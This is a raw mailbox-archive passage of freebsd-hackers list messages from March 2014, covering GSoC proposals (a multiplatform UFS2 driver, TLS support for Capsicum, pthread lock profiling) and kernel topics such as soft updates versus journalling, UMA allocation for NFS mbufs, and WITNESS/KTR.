MIME-Version: 1.0 X-Received: by 10.43.163.2 with SMTP id mm2mr4397397icc.20.1394763730900; Thu, 13 Mar 2014 19:22:10 -0700 (PDT) Received: by 10.64.250.101 with HTTP; Thu, 13 Mar 2014 19:22:10 -0700 (PDT) Date: Thu, 13 Mar 2014 18:22:10 -0800 Message-ID: Subject: Re: GSoC proposition: multiplatform UFS2 driver From: Dieter BSD To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Mar 2014 02:22:11 -0000 IIRC, "UFS" means both FFS and LFS, so is the plan to do both? Malware with a good fs bolted on is still malware, so why bother? The "fine" penguinix fs trashes data (I gave up on penguinix because of this), so adding proper FFS support could in theory be useful someday. Julio writes, > That being said, I do not like the idea of using NetBSD's UFS2 code. It > lacks Soft-Updates, which I consider to make FreeBSD UFS2 second only to > ZFS in desirability. FFS has been in production use for decades. ZFS is still wet behind the ears. Older versions of NetBSD have soft updates, and they work fine for me. I believe that NetBSD 6.0 is the first release without soft updates. They claimed that soft updates was "too difficult" to maintain. I find that soft updates are *essential* for data integrity (I don't know *why*, I'm not a FFS guru). There are bug fixes in FreeBSD's FFS that were likely never fixed in NetBSD's version, even after having FreeBSD's fix pointed out to them. Of course it is possible that Net fixed bugs that haven't been fixed in Free as well. Speaking of bugs, the first step should be to fix the open PRs. I recall something about certain newfs options being unusable because of something to do with kernel data structures. Using the resulting fs would panic (or was it hang? I forget) the kernel. I believe that problem was fixed, but when testing this on other OSes, be sure to dial various newfs options up to 11 and then use the fs heavily. From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 14 02:06:49 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C8240988 for ; Fri, 14 Mar 2014 02:06:49 +0000 (UTC) Received: from hergotha.csail.mit.edu (wollman-1-pt.tunnel.tserv4.nyc4.ipv6.he.net [IPv6:2001:470:1f06:ccb::2]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 65AF3C57 for ; Fri, 14 Mar 2014 02:06:49 +0000 (UTC) Received: from hergotha.csail.mit.edu (localhost [127.0.0.1]) by hergotha.csail.mit.edu (8.14.7/8.14.7) with ESMTP id s2E26kJr075211; Thu, 13 Mar 2014 22:06:46 -0400 (EDT) (envelope-from wollman@hergotha.csail.mit.edu) Received: (from wollman@localhost) by hergotha.csail.mit.edu (8.14.7/8.14.4/Submit) id s2E26ku5075208; Thu, 13 Mar 2014 22:06:46 -0400 (EDT) (envelope-from wollman) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <21282.25654.342428.860428@hergotha.csail.mit.edu> Date: Thu, 13 Mar 2014 22:06:46 -0400 From: Garrett Wollman To: John-Mark Gurney Subject: Re: kernel memory allocator: UMA or malloc? In-Reply-To: <20140314015021.GN32089@funkthat.com> References: <20140313054659.GG32089@funkthat.com> <1783335610.22308389.1394749339304.JavaMail.root@uoguelph.ca> <20140314015021.GN32089@funkthat.com> X-Mailer: VM 7.17 under 21.4 (patch 22) "Instant Classic" XEmacs Lucid X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (hergotha.csail.mit.edu [127.0.0.1]); Thu, 13 Mar 2014 22:06:46 -0400 (EDT) X-Spam-Status: No, score=-1.0 required=5.0 tests=ALL_TRUSTED autolearn=disabled version=3.3.2 X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on hergotha.csail.mit.edu X-Mailman-Approved-At: Fri, 14 Mar 2014 03:59:12 +0000 Cc: Freebsd hackers list , Rick Macklem X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Mar 2014 02:06:49 -0000 < said: > So, this is where a UMA half alive object could be helpful... Say that > you always need to allocate an iovec + 8 mbuf clusters to populate the > iovec... What you can do is have a uma uminit function that allocates > the memory for the iovec and 8 mbuf clusters, and populates the iovec > w/ the correct addresses... Then when you call uma_zalloc, the iovec > is already initalized, and you just go on your merry way instead of > doing all that work... when you uma_zfree, you don't have to worry > about loosing the clusters as the next uma_zalloc might return the > same object w/ the clusters already present... When the system gets > low on memory, it will call your fini function which will need to > free the clusters.... I thought about this, but I don't think it helps, because the mbufs are going to get handed into the network stack and queued in TCP and then in the interface for potentially a long period of time -- with no callback to NFS that would tell it that the mbufs are now free -- whereas the iovec (and in my implementation, the uio) can get freed immediately and recycled. If we had the ability to get 64k chunks of direct-mapped physmem -- from a boot-time-reserved region of memory -- and use those as mbufs, then it might be a win, because then you could cache a buffer, the mbuf that points to it, the iovec that points to the mbuf, and the uio that points to the iovec all in the same allocation, and get a callback when the last reference to that buffer drops. I expect that would significantly improve performance on high-end servers like the ones I've built, but we'd need to arrange for Rick to get a decent 64-bit server for testing. On a 96-GiB server, I'd be perfectly willing to reserve a couple of 1 GiB superpages for this purpose. -GAWollman From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 14 07:04:04 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DDE9ACE1; Fri, 14 Mar 2014 07:04:03 +0000 (UTC) Received: from freebsd.czest.pl (freebsd.czest.pl [212.87.224.105]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 800E0AFD; Fri, 14 Mar 2014 07:04:03 +0000 (UTC) Received: from freebsd.czest.pl (freebsd.czest.pl [212.87.224.105]) by freebsd.czest.pl (8.14.5/8.14.5) with ESMTP id s2E72ICA041699; Fri, 14 Mar 2014 07:02:18 GMT (envelope-from wkoszek@freebsd.czest.pl) Received: (from wkoszek@localhost) by freebsd.czest.pl (8.14.5/8.14.5/Submit) id s2E72Iqw041698; Fri, 14 Mar 2014 07:02:18 GMT (envelope-from wkoszek) Date: Fri, 14 Mar 2014 07:02:18 +0000 From: "Wojciech A. Koszek" To: yan cui Subject: Re: FreeBSD GSOC proposal in 2014 Message-ID: <20140314070218.GA37327@FreeBSD.org> References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Spam-Status: No, score=-0.4 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.2 X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on freebsd.czest.pl X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.7 (freebsd.czest.pl [212.87.224.105]); Fri, 14 Mar 2014 07:02:25 +0000 (UTC) Cc: freebsd-hackers@freebsd.org, jeff@freebsd.org, freebsd-current@freebsd.org, soc-status@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Mar 2014 07:04:04 -0000 On Thu, Mar 13, 2014 at 09:56:35PM -0400, yan cui wrote: > Hi all, > > I write this mail to make my question clear. I know witness can be used > to detect wrong lock order in the kernel. However, can it be used to do > lock profiling (what I mean is to report the information such as which > locks are most contended and print some related statistics such as calling > graph, etc)? > In other words, is it enough to finish the task by porting witness to the > pthread library? > Yan, To my knowledge WITNESS is the only tool for lock order verification. For lock profiling in the FreeBSD kernel there's a KTR subsystem. KTR mechanism is basically like syslog() in the user-space, but for the kernel. KTR subsystem will receive messages from KTR API that is placed in the FreeBSD kernel. Messages get stored on the list of some sort. List can be exported to a file. File you can later analyze. Jeff wrote a Python app which can be used for pre-processing the KTR logs from scheduler and protting them visually. Link: http://svnweb.freebsd.org/base/head/tools/sched/schedgraph.py Instead of porting witness to pthreads, maybe we could evaluate expanding WITNESS to cover kern_umtx? This could prove to be more universal. Wojciech > > 2014-03-13 19:19 GMT-04:00 yan cui : > > > Hi all, > > > > I have downloaded the newest FreeBSD-release kernel and scanned some > > codes. > > Wonder to know whether the lock order verification and lock profiling tool > > mentioned in > > the GSoC idea list is witness? Are there any other tools that needs to > > look at in the FreeBSD kernel? > > > > Thanks, Yan > > > > > > 2014-03-09 15:46 GMT-04:00 yan cui : > > > > Hi All, > >> > >> I am a student in Columbia University (Yan Cui), and want to join > >> the FreeBSD GSOC 2014. After scanned the idea list posted online, I think I > >> am interested in > >> the idea titled "user space pthread mutex lock contention profiling and > >> lock order verification tools". I have several year experiences in kernel > >> and user locking and believe I can complete the task in time. Currently, I > >> wonder to know, before submitting an application on GSOC home page, do I > >> need to submit some documents in the community (to review?) > >> > >> Best Wishes! > >> Yan > >> > >> -- > >> Think big; Dream impossible; Make it happen. > >> > > > > > > > > -- > > Think big; Dream impossible; Make it happen. > > > > > > -- > Think big; Dream impossible; Make it happen. > _______________________________________________ > soc-status@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/soc-status > To unsubscribe, send any mail to "soc-status-unsubscribe@freebsd.org" -- Wojciech A. Koszek wkoszek@FreeBSD.czest.pl http://FreeBSD.czest.pl/~wkoszek/ From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 14 13:20:09 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 22A8B6E4 for ; Fri, 14 Mar 2014 13:20:09 +0000 (UTC) Received: from mail-ee0-x22a.google.com (mail-ee0-x22a.google.com [IPv6:2a00:1450:4013:c00::22a]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id B063B95F for ; Fri, 14 Mar 2014 13:20:08 +0000 (UTC) Received: by mail-ee0-f42.google.com with SMTP id d17so1366169eek.15 for ; Fri, 14 Mar 2014 06:20:06 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:subject :content-type:content-transfer-encoding; bh=qxqPgDbUb0/m8lJkSlTzqrySgne3ES3VeWEDRbrMEdQ=; b=pctvz6fnQaC0L7UhljW2H6bbUn9RpBAyAwBsR8xzqYURPvnwegaQVb5F/2V4YpZ7ZD a19Vins3B+8wuwJgYEJTv8P5ASYqjUksNKrAlEc978PXqBJKxI4iTtTUakEQPtZC/9aF AI8Gg2lw5PhhKjAQfPSM2bJk3sAPJd8MAcWRGDLxA/+U3ISGVNFJK8GTcmbsNaH+aoPB 1ISnbJfPIrCFsdhQbIvSPDn9oM8xPDBwo9VZkOjepI6pOHuMahYtwB7LxS3NTwRKkDrC gHlMI6av2B+BK+DIXZ5FGAYk+WcpvMgW+MwKqV4vx6Ixc349+wY3ltQBx3VyS0Y0Pvn9 d53A== X-Received: by 10.15.53.135 with SMTP id r7mr644955eew.102.1394803206732; Fri, 14 Mar 2014 06:20:06 -0700 (PDT) Received: from [192.168.2.30] ([2.176.229.134]) by mx.google.com with ESMTPSA id z48sm4792110eel.27.2014.03.14.06.20.04 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Fri, 14 Mar 2014 06:20:05 -0700 (PDT) Message-ID: <53230214.7010501@gmail.com> Date: Fri, 14 Mar 2014 16:50:20 +0330 From: Hooman Fazaeli User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20130215 Thunderbird/17.0.3 MIME-Version: 1.0 To: FreeBSD Hackers Subject: mbuf question Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Mar 2014 13:20:09 -0000 Hi list, Is it safe to use m->m_pktdat area to store some arbitrary data about packets allocated as mbuf+cluster pair? -- Best regards. Hooman Fazaeli From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 14 14:05:30 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9BE29B95 for ; Fri, 14 Mar 2014 14:05:30 +0000 (UTC) Received: from mail.0x20.net (mail.0x20.net [IPv6:2001:aa8:fffb:1::3]) (using TLSv1 with cipher ADH-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 58AFFE9A for ; Fri, 14 Mar 2014 14:05:30 +0000 (UTC) Received: from e-new.0x20.net (mail.0x20.net [IPv6:2001:aa8:fffb:1::3]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mail.0x20.net (Postfix) with ESMTPS id D125C6A6007; Fri, 14 Mar 2014 15:05:27 +0100 (CET) Received: from e-new.0x20.net (localhost [127.0.0.1]) by e-new.0x20.net (8.14.7/8.14.7) with ESMTP id s2EE5RcB036702; Fri, 14 Mar 2014 15:05:27 +0100 (CET) (envelope-from lars@e-new.0x20.net) Received: (from lars@localhost) by e-new.0x20.net (8.14.7/8.14.7/Submit) id s2EE5Rwk035983; Fri, 14 Mar 2014 15:05:27 +0100 (CET) (envelope-from lars) Date: Fri, 14 Mar 2014 15:05:27 +0100 From: Lars Engels To: Brian Kim Subject: Re: Setting up a UNIX cluster Message-ID: <20140314140527.GG56296@e-new.0x20.net> References: MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="3607uds81ZQvwCD0" Content-Disposition: inline In-Reply-To: X-Editor: VIM - Vi IMproved 7.4 X-Operation-System: FreeBSD 8.4-RELEASE-p4 User-Agent: Mutt/1.5.23 (2014-03-12) X-Mailman-Approved-At: Fri, 14 Mar 2014 15:25:52 +0000 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Mar 2014 14:05:30 -0000 --3607uds81ZQvwCD0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline On Mon, Mar 10, 2014 at 09:44:35AM -0400, Brian Kim wrote: [...] > I want the students to be > familiarized with the UNIX environment so that they can gcc all their code > and not have to be chained down to IDE's. I'd recommend using clang instead of gcc. clang's error messages are much better and programming newbies will see a lot of error messages. :) --3607uds81ZQvwCD0 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iKYEARECAGYFAlMjDKdfFIAAAAAALgAoaXNzdWVyLWZwckBub3RhdGlvbnMub3Bl bnBncC5maWZ0aGhvcnNlbWFuLm5ldDE3RkMwOEUxNUUwOUJEMjE0ODlFMjA1MDI5 Q0U3NURBQzBGNzY5RjgACgkQKc512sD3afih1gCgsheg7Y88PjY+t8ksQierNCjf 8fUAoJc+zIZwWvM05QaGW6dnoDT6IOyX =jhwE -----END PGP SIGNATURE----- --3607uds81ZQvwCD0-- From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 14 15:27:36 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D9AA61A8 for ; Fri, 14 Mar 2014 15:27:36 +0000 (UTC) Received: from mail-wi0-x232.google.com (mail-wi0-x232.google.com [IPv6:2a00:1450:400c:c05::232]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 72545920 for ; Fri, 14 Mar 2014 15:27:36 +0000 (UTC) Received: by mail-wi0-f178.google.com with SMTP id n15so2756045wiw.17 for ; Fri, 14 Mar 2014 08:27:35 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=20120113; h=date:from:to:subject:message-id:in-reply-to:references:mime-version :content-type:content-transfer-encoding; bh=ff40DL2TW6PXu/+h4mVT4BHmnAolTDdi/EyL5qeoWdg=; b=qzKry3NrC0MYF28Wz6uyZG/z1A4lUUyPmrhLoPBCvB0xqyJ4iILei/9GuAq5ZQ2qbR yC0vWRHyNs9FuCEnoo0f8iqeFtW0quhoawJLssbDXaUhu/rauxzOEeWvowNv9FMq7Fs0 KBdFITmSKmkJwcrYGL+1xbpZTA3YPhrvmKw/vgtJuJIKk8MNWuAeH/piOnTE6WwtFssY eVZF9oPvZ/rwrBChm6/U1aFZ5/iY5DeX/5TwgRpvMI6evQXh/yFWki4pwVszzeziGVAP MjGWGW7dJIY5hC4FTT2iW4cVlGA2A/hLOxOGhBGs9X9+YcOJJHtVAgABm3Qszy15oQjr /0hQ== X-Received: by 10.180.165.174 with SMTP id yz14mr6641620wib.34.1394810854948; Fri, 14 Mar 2014 08:27:34 -0700 (PDT) Received: from gumby.homeunix.com (bcdeeb79.skybroadband.com. [188.222.235.121]) by mx.google.com with ESMTPSA id fo6sm17703904wib.7.2014.03.14.08.27.33 for (version=SSLv3 cipher=RC4-SHA bits=128/128); Fri, 14 Mar 2014 08:27:34 -0700 (PDT) Date: Fri, 14 Mar 2014 15:27:32 +0000 From: RW To: freebsd-hackers@freebsd.org Subject: Re: GSoC proposition: multiplatform UFS2 driver Message-ID: <20140314152732.0f6fdb02@gumby.homeunix.com> In-Reply-To: References: X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.22; amd64-portbld-freebsd10.0) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Mar 2014 15:27:36 -0000 On Thu, 13 Mar 2014 18:22:10 -0800 Dieter BSD wrote: > Julio writes, > > That being said, I do not like the idea of using NetBSD's UFS2 > > code. It lacks Soft-Updates, which I consider to make FreeBSD UFS2 > > second only to ZFS in desirability. > > FFS has been in production use for decades. ZFS is still wet behind > the ears. Older versions of NetBSD have soft updates, and they work > fine for me. I believe that NetBSD 6.0 is the first release without > soft updates. They claimed that soft updates was "too difficult" to > maintain. I find that soft updates are *essential* for data > integrity (I don't know *why*, I'm not a FFS guru). NetBSD didn't simply drop soft-updates, they replaced it with journalling, which is the approach used by practically all modern filesystems. A number of people on the questions list have said that they find UFS+SU to be considerably less robust than the journalled filesystems of other OS's. From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 14 16:30:57 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 73C5D795 for ; Fri, 14 Mar 2014 16:30:57 +0000 (UTC) Received: from mail-qc0-x230.google.com (mail-qc0-x230.google.com [IPv6:2607:f8b0:400d:c01::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 2ED92F1C for ; Fri, 14 Mar 2014 16:30:57 +0000 (UTC) Received: by mail-qc0-f176.google.com with SMTP id m20so3164256qcx.35 for ; Fri, 14 Mar 2014 09:30:56 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:content-type:subject:message-id:date:to:mime-version; bh=RxUADUptrFaG55Hkf/BbhRsIAeLjZ9ghZUuQv+hM2xA=; b=ZSxzPHIBTkoA9RTpDV5fQB71WeWTyQqU+ZlVminjisxh/3oS6T1OLRK0qThwpX8tt1 dhYByp1LMzLTpHJp2M8B+r48HOXlY8hcWbrJ195gBzASP0Gn7kclgsm/bIjfnKv724gW 8vUpHmsUtHgJBdDKmHGWQim+XlapxFT/+0rDA5moRUwGxbfoQh7Y9dNCIqSHx1BPwsNJ ZyPji9s8Z5NmXOurvh9jNDvHnSKbbMVXuKwNXGvYuWiriGf8JRPdxrA7Gq0qdHEwx5hC U14qjtoUbq6T8rMYbbfvKG0APNs0g18oIFPTTWKsPPd7kcgy6asP9OULqvT4Gtl97n54 c/FA== X-Received: by 10.140.81.244 with SMTP id f107mr3438358qgd.104.1394814656346; Fri, 14 Mar 2014 09:30:56 -0700 (PDT) Received: from [192.168.8.103] (c-98-217-121-7.hsd1.ma.comcast.net. [98.217.121.7]) by mx.google.com with ESMTPSA id c60sm8657748qge.11.2014.03.14.09.30.55 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Fri, 14 Mar 2014 09:30:55 -0700 (PDT) From: Sarat Sista Subject: GSoC '14: TLS Support for Capsicum Message-Id: <9C137A6F-7DF9-491D-A852-CAEEDA118629@gmail.com> Date: Fri, 14 Mar 2014 12:30:58 -0400 To: freebsd-hackers@freebsd.org Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) X-Mailer: Apple Mail (2.1874) Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Mar 2014 16:30:57 -0000 Hi all, I am putting up a proposal for GSoC =9214 and in this project I will be = implementing TLS support for Capsicum, the new sandboxing mechanism = based on Capability Security model. As far as my idea goes, I should be = adding a new SSL API to libcapsicum and modify casperd so that = applications can request TLS services as required. I hoping that anyone = here can give more input regarding how I should proceed further and what = I should be looking at initially. Thanks! Sarat Sista =20 =20= From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 14 16:40:19 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 48270A57 for ; Fri, 14 Mar 2014 16:40:19 +0000 (UTC) Received: from smtp.gentoo.org (woodpecker.gentoo.org [IPv6:2001:470:ea4a:1:214:c2ff:fe64:b2d3]) (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 226C68F for ; Fri, 14 Mar 2014 16:40:18 +0000 (UTC) Received: from [192.168.1.2] (pool-173-52-87-124.nycmny.fios.verizon.net [173.52.87.124]) (using TLSv1 with cipher ECDHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: ryao) by smtp.gentoo.org (Postfix) with ESMTPSA id 45DC933EEB4; Fri, 14 Mar 2014 16:40:15 +0000 (UTC) Message-ID: <532330F9.3060106@gentoo.org> Date: Fri, 14 Mar 2014 12:40:25 -0400 From: Richard Yao User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dieter BSD , freebsd-hackers@freebsd.org Subject: Re: GSoC proposition: multiplatform UFS2 driver References: In-Reply-To: X-Enigmail-Version: 1.6 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="I5ARswVNIOQmkb4vheC1qdX5e1cn1KwFQ" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Mar 2014 16:40:19 -0000 This is an OpenPGP/MIME signed message (RFC 4880 and 3156) --I5ARswVNIOQmkb4vheC1qdX5e1cn1KwFQ Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable On 03/13/2014 10:22 PM, Dieter BSD wrote: > IIRC, "UFS" means both FFS and LFS, so is the plan to do both? >=20 > Malware with a good fs bolted on is still malware, so why bother? >=20 > The "fine" penguinix fs trashes data (I gave up on penguinix > because of this), so adding proper FFS support could in theory be > useful someday. If you want that today, you can have it by using ZFSOnLinux. > Julio writes, >> That being said, I do not like the idea of using NetBSD's UFS2 code. I= t >> lacks Soft-Updates, which I consider to make FreeBSD UFS2 second only = to >> ZFS in desirability. >=20 > FFS has been in production use for decades. ZFS is still wet behind th= e ears. > Older versions of NetBSD have soft updates, and they work fine for me. > I believe that NetBSD 6.0 is the first release without soft updates. T= hey > claimed that soft updates was "too difficult" to maintain. I find that= > soft updates are *essential* for data integrity (I don't know *why*, I'= m not > a FFS guru). There are bug fixes in FreeBSD's FFS that were likely nev= er > fixed in NetBSD's version, even after having FreeBSD's fix pointed out = to them. > Of course it is possible that Net fixed bugs that haven't been fixed in= > Free as well. >=20 > Speaking of bugs, the first step should be to fix the open PRs. >=20 > I recall something about certain newfs options being unusable because > of something to do with kernel data structures. Using the resulting > fs would panic (or was it hang? I forget) the kernel. I believe that > problem was fixed, but when testing this on other OSes, be sure to > dial various newfs options up to 11 and then use the fs heavily. Imagine a vibration that causes a hard drive to write a sector into the wrong location on disk, which happens to be a metadata structure. That is known as a "Misdirected Write" and I suspect many reports of issues on UFS2 can be traced to things like it based on my superficial understanding of what Kirk McKusick accomplished with Soft Updates. This is why ZFS stores duplicate data and checksums in a disk format that is a merkle tree. UFS2 was designed under the assumption that such things do not happen. Unless UFS2 is modified to do the same, it is not its fault when something goes wrong because it was used in a place where this happens. These deficiencies become strengths when you consider a virtual machine backed by a ZFS zvol. Using UFS as the virtual machine's root filesystem avoids IO amplification caused by two levels of CoW, yet the virtual machine is still able to seamlessly recover in the event of a kernel panic (or worse, the host going down). Snapshots and backup can be managed from the host side with little fear of consistency violations. UFS2 SU+J on a ZFS zvol is a combination that can only be surpassed by virtfs at this time. However, that comes with a major caveat. While you avoid double caching and excessive layering with virtfs, you lose the potential ability that UFS2 SU+J had to coalesce guest context switches by doing multiple IOs in a single transition. That being said, I should note that virtio-blk likely needs to be checked to ensure that it is able to do this. I have a suspicion that it cannot based on users reports of performance problems and first hand experience in FreeBSD 9.0 that confirms it. The slides in the below link provide actual numbers. http://www.slideshare.net/TakeshiHasegawa1/runningfreebsdonlinuxkvm I have confirmation from users that this is still a problem in FreeBSD 10. It occurred to me that IO coalescing might be an explanation for this problem just now. I have no time to examine this possibility, so anyone who cares that is reading this should not expect me to explore it.= --I5ARswVNIOQmkb4vheC1qdX5e1cn1KwFQ Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQIcBAEBAgAGBQJTIzD/AAoJECDuEZm+6Exk8pYP/RfbclEv/NiTMhe/5a5niFWS 87MBNqWR+yMWyrISB/+l7pSXS+MCnnLWO/OTgTni3sd/hrtJS6JTZh2TliXe2VeH ePjoHZDFKTAHl2DAxF4MRvZZOlheZKc5ahenalwFIxU29ehenlfmjtkwUyQneIkr 34O26CCoyKeHg71xpAaUBDcEy4DHxpjZ++QJV5/nUuccdCvA3B6G8H3BAazAQpWd KlcEXlxMEvT6KzbSSIElUcF0hbs0+IqAdHwpMkkeHth00cC+2/qRgj8dv2wvndSA aLrZ735eH3QGa2k1KpR/9WxyggR1sWvdUVs7HrdWjOCrFFYfRJnCEXfA+nzHC8Ga ABJJfF4wSM7ZEMDVvdI+wP/c8BceElm3F4s2PgGlSUUHgBZbBfHYCgXMTMpQVGta 9uDvPwqZYXm/zpiV6O+m78p3CNld7sCuPRxtHFW+dDPAeQ9iWyaYqdwM/QIQStVE aqt1NLPeDQG773eiy505YqMQnyYt+XzAULm71pLe2jHpFJlS/mBMH1OwCh300jNZ XLP5fLJ0nX6KQNjQwoO6MYxyF5I/wMEYYuAR2ee6JsFD8wgXfEokZ7yGsctmWQVp dJjEH1SBTMtkL/RALFrKg8dN6cyItpz3a0tL0eJtBDJKUYDD58NDm6Q/bwoPk3+z x6T3YdwB6zJVABe/BENq =04SF -----END PGP SIGNATURE----- --I5ARswVNIOQmkb4vheC1qdX5e1cn1KwFQ-- From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 14 17:11:04 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org 